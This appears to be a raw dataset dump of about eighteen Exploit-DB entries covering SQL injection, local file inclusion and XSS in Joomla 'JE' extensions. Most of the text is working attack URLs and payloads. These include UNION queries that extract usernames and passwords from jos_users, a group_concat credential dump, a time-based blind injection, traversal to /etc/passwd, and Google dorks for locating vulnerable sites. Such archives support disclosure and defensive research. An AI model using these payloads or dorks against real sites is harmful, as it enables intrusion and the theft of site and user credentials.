deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15714
Description: Joomla! Component JE Auto 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-09
Author: Salvatore Fresta

Exploit:
JE Auto 1.0 SQL Injection Vulnerability

 Name              JE Auto
 Vendor            http://joomlaextensions.co.in/extensions/components/je-auto.html
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-12-09

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

JE Auto is a commercial Joomla's component.


II. DESCRIPTION
_______________

A parameter is not properly sanitised before  being used
in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 

A) SQL Injection
________________

Input  passed   to   "char"  parameter  is  not  properly
sanitised before being used in a SQL query.  This  can be
exploited  to  manipulate  SQL   queries   by   injecting
arbitrary SQL code.

Successful exploitation requires that magic_quotes_gpc is
set to Off.


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_jeauto&catid=1&item=1&Itemid=3&view=item&char=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14%23


V. FIX
______

No fix.
Exploit-DB #41338
Description: Joomla! Component JE Auto 1.5 - 'd_itemid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Auto 1.5 - SQL Injection
# Google Dork: inurl:index.php?option=com_jeauto
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/vehicles/je-auto/
# Demo: http://www.joomlaextension.biz/demo/
# Version: 1.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jeauto&view=item_detail&d_itemid=[SQL]
# # # # #
Exploit-DB #14059
Description: Joomla! Component JE Awd Song - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-26
Author: Sid3^effects

Exploit:
Critical Level     : HIGH
Vendor Url : http://joomlaextensions.co.in/component/awd_song/
Google Dork: inurl:com_awd_song
Price:$37.00
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
  Frontend
There are 4 menus.

   1. (Enter Contest) User can upload a new song.Whenever new songs are uploaded, users will receive an email to rate the new contest songs.
   2. (Winner song) Users can see all of the winning songs from today.
   3. (My Songs) Users can see all of their own songs they have uploaded.
   4. (My Rated Songs) Users can see all of their own ratings for other users songs.


#######################################################################################################
Xploit:persistent xss Vulnerability

The attacker can post evil script or xss shell in the song review option

For example :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>


 DEMO URL : http://server/index.php?option=com_awd_song&task=view&id=4

###############################################################################################################
Exploit-DB #41339
Description: Joomla! Component JE Awd Song 1.8 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Awd Song 1.8 - SQL Injection
# Google Dork: inurl:index.php?option=com_jeawdsong
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/je-awd-song/
# Demo: http://www.joomlaextension.biz/demo/
# Version: 1.8
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jeawdsong&view=song_detail&id=[SQL]
# http://localhost/[PATH]/index.php?option=com_jeawdsong&view=song_detail&id=1&contest_id=[SQL]
# # # # #
Exploit-DB #41330
Description: Joomla! Component JE Classify Ads 1.2 - 'pro_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Classify Ads 1.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_jeclassifyads
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/je-classify-ads/
# Demo: http://www.joomlaextension.biz/demo/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jeclassifyads&view=item_detail&pro_id=[SQL]
# # # # #
Exploit-DB #41332
Description: Joomla! Component JE Directory 1.7 - 'ditemid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Directory Ads 1.7 - SQL Injection
# Google Dork: inurl:index.php?option=com_jedirectory
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/je-directory/
# Demo: http://www.joomlaextension.biz/demo/
# Version: 1.7
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jedirectory&view=item_detail&ditemid=[SQL]
# # # # #
Exploit-DB #11292
Description: Joomla! Component JE Event Calendar - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-30
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (JE Event Calendar) SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var event_id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b0 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/index.php?template=system&option=com_jeeventcalendar&view=event&Itemid=155&event_id=[SQL]

[~]>> http://server/index.php?template=system&option=com_jeeventcalendar&view=event&Itemid=155&event_id=-1%22+UNION+ALL+SELECT+1,@@version,database(),username,password,6,7,8+FROM+jos_users%23

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #14846
Description: Joomla! Component JE FAQ Pro 1.5.0 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2010-08-31
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
Joomla Component JE FAQ Pro : Multiple Remote Blind Sql Injection
---------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Group		: LatinHackTeam
Email & msn	: chipdebios[at]gmail[dot]com
Date		: 2010-08-30
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: JE FAQ Pro
version		: 1.5.0 
Price		: 1 year: 13.08$, 2 Year: 18.31$, 3 Year: 23.54$, 4 Year: 26.16$
Developer	: J Extension
License		: GPLv2 or later           type  : Commercial
Date Added	: 28 August 2010
Download	: http://www.jextn.com/joomla-faq-component-extensions-downloads/
Demo		: http://www.joomla-faq-demo.jextn.com/

Description     :

JE FAQ Pro is an easy to use but powerful and excellent FAQ management.
Our core competency from our front end and backend features will make you
to sit suitable because we take care of your needs in the FAQ Joomla component
needs. This is where we extending the suitability in Joomla. 



Multiple Blind SQL Injection

http://site/path/index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2[bsql]

http://site/path/index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2[bsql]



+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #41344
Description: Joomla! Component JE Form Creator 1.8 - 'Itemid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Form Creator v1.8 - SQL Injection
# Google Dork: inurl:index.php?option=com_jeformcr
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/je-form-creator/
# Demo: http://www.joomlaextension.biz/demo/
# Version: 1.8
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jeformcr&view=form&Itemid=[SQL]
# # # # #
Exploit-DB #41331
Description: Joomla! Component JE Gallery 1.3 - 'photo_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Gallery v1.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_jegallery
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/je-gallery/
# Demo: http://www.joomlaextension.biz/demo/
# Version: 1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jegallery&view=photo_detail&photo_id=[SQL]
# # # # #
Exploit-DB #41342
Description: Joomla! Component JE Grid Folio - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Grid Folio - SQL Injection
# Google Dork: inurl:index.php?option=com_jegridfolio
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: http://www.joomlaextension.biz/demo/index.php?option=com_jegridfolio
# Demo: http://www.joomlaextension.biz/demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jegridfolio&view=category_detail&id=[SQL]
# # # # #
Exploit-DB #15157
Description: Joomla! Component JE Guestbook 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-30
Author: Salvatore Fresta

Exploit:
JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities

 Name              JE Guestbook
 Vendor            http://www.joomlaextensions.co.in
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-09-30

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

JE Guest  Component  is  an open source Joomla guestbook
component  with  spam protection  and many customization
options.


II. DESCRIPTION
_______________

Some parameters are not properly sanitised.


III. ANALYSIS
_____________

Summary:

 A) Local File Inclusion
 B) Multiple Blind SQL Injection
 

A) Local File Inclusion
_______________________

Input passed to the "view" parameter in  jeguestbook.php
(when option is set to com_jeguestbook)  is not properly
verified before being used to include files. This can be
exploited   to   include   arbitrary  files  from  local
resources    via   directory   traversal   attacks   and
URL-encoded NULL bytes.


B) Multiple Blind SQL Injection
_______________________________

Many parameters are not properly sanitised before being
used in SQL queries.This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Local File Inclusion

http://site/path/index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00


B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))


V. FIX
______

No fix.
Exploit-DB #12782
Description: Joomla! Component JE Job 1.0 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-28
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  Joomla Component com_jejob 1.0 (catid) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: May, 29-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : JE Job
Vendor      : http://joomlaextensions.co.in/
License     : GPLv2
Version     : 1.0 Lower versions may also be affected
Google Dork : inurl:com_jejob
 
User can search the job by Location or by Job Title or by Experience. User can 
also see the job category at the front page. Category wise jobs are displayed in it.
----------------------------------------------------------------

Exploitz:
~~~~~~~
-9999+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5+from+jos_users--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_jejob&view=item&catid=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (besok² klo curhat jangan nangis lagi ah uR bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- elicha cristia [ Mizz U so much... ]
- Joss [at] hack0wn.com
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[at]live[live]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #12601
Description: Joomla! Component JE Job 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-14
Author: Valentin

Exploit:
# Exploit Title: Joomla Component JE Job Local File Inclusion Vulnerability
# Date: 14.05.2010
# Author: Valentin
# Category: webapps/0day
# Version: unknown/latest one
# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component JE Job Local File Inclusion Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JE Job Component
Vendor = Harmis Technology
Vendor Website = http://joomlaextensions.co.in/
Affected Version(s) = unknown/latest one

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = Local File Inclusion
Example URI = index.php?option=com_jejob&view=../../../../../../etc/passwd%00


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.05.2010

Triggering MySQL errors and injecting chars through the URL is possible.
Play around a little bit, e.g.
index.php?option=com_jejob&view=item_detail&itemid=XX&Itemid=[CODE]
index.php?option=com_jejob&view=item&catid=[TRIGGER ERROR]
and you will see that your input affects many parts of the component. Maybe you
can use this bug for your advantage.


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #41343
Description: Joomla! Component JE K2 Multiple Form Story 1.3 - 'Itemid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE K2 Multiple Form Story v1.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_jek2storymultipleform
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: http://www.joomlaextensions.co.in/index.php?option=com_jeshop&view=category_detail&id=76&Itemid=112
# Demo: http://www.joomlaextension.biz/demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jek2storymultipleform&view=jesubmit&Itemid=[SQL]
# # # # #
Exploit-DB #14060
Description: Joomla! Component JE Media Player - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-26
Author: Sid3^effects

Exploit:
Name : Joomla je-media-player LFI Vulnerability
Date : june, 26 2010
Critical Level     : HIGH
Vendor Url : http://joomlaextensions.co.in/extensions/components/je-media-player.html
Google Dork: inurl:/components/je-media-player.html?
Price:$15.00
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
      There are three different manager in that component :-

   1. Album Management
   2. Song Management
   3. Setting

1. Album Management :- Admin can add,edit ,delete,published and unpublished  the album photo,name and description. Create the thumbnail for

that album photo. User can configure the album photo size from the configuration.

2. Song Management :- Admin can upload song into the particular album.  Song name and description add,edit and delete from the song

management.

3.Setting :- Configure the album thumbnail width and height. Also configure the player width and height.

#######################################################################################################
Xploit:LFI Vulnerability

DEMO URL : http://server/demo/components/je-media-player.html?view=../../

############################################################################################################
Exploit-DB #41347
Description: Joomla! Component JE Messanger - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE Messanger - SQL Injection
# Google Dork: inurl:index.php?option=com_jemessenger
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: http://www.joomlaextension.biz/demo/index.php?option=com_jemessenger
# Demo: http://www.joomlaextension.biz/demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jemessenger&view=box_detail&folder=Inbox&task=edit&Itemid=1496&cid[0]=[SQL]
# http://localhost/[PATH]/index.php?option=com_jemessenger&view=box_detail&folder=Outbox&task=edit&Itemid=1496&cid[0]=[SQL]
# http://localhost/[PATH]/index.php?option=com_jemessenger&view=box_detail&folder=Trash&task=edit&Itemid=1496&cid[0]=[SQL]
# # # # #